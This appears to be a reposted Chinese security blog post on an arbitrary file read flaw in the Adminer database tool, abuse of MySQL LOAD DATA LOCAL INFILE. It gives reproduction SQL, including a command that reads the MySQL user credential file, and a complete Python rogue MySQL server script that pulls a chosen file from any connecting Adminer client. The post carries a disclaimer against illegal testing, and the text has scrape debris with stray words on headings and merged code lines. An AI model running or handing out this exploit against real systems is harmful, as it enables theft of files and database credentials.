请勿利用文章内的相关技术从事非法测试,如所以产生的一切不良后果与文章做者和本公众号无关。php |
0x01 前言
html
Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,相似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持链接远程数据库,https://github.com/vrana/adminer 。python

0x02 漏洞原理mysql


0x03 漏洞复现git
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;grant all privileges on *.* to 'root'@'%'; //MySQL8开启外链
root@kali:/tmp# python mysql_client.py "D:\phpStudy\PHPTutorial\WWW\av\1.php"

create database adminer; //建立adminer数据库use adminer; //进入adminer数据库create table test(text text(4096)); //建立test数据表

执行如下SQL语句便可读取指定文件并将读取到的文件内容写入到刚建立的数据表里,不过得注意一下目标机的secure_file_priv选项,当它的值为null时就会读取不了文件了。github
load data local infile "D:\\phpStudy\\PHPTutorial\\MySQL\\data\\mysql\\user.MYD" into table test FIELDS TERMINATED BY '\n';

select * from test; //查看test表内容truncate table test; //清空test表内容drop database adminer; //删除adminer数据库
0x04 利用程序web
#coding=utf-8 import socketimport loggingimport syslogging.basicConfig(level=logging.DEBUG)
filename=sys.argv[1]sv=socket.socket()sv.setsockopt(1,2,1)sv.bind(("",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")conn.recv(9999)logging.info("auth okay")conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")conn.recv(9999)logging.info("want file...")wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close()
0x05 参考连接sql
https://xz.aliyun.com/t/3973数据库
https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html安全
本文分享自微信公众号 - 贝塔安全实验室(BetaSecLab)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。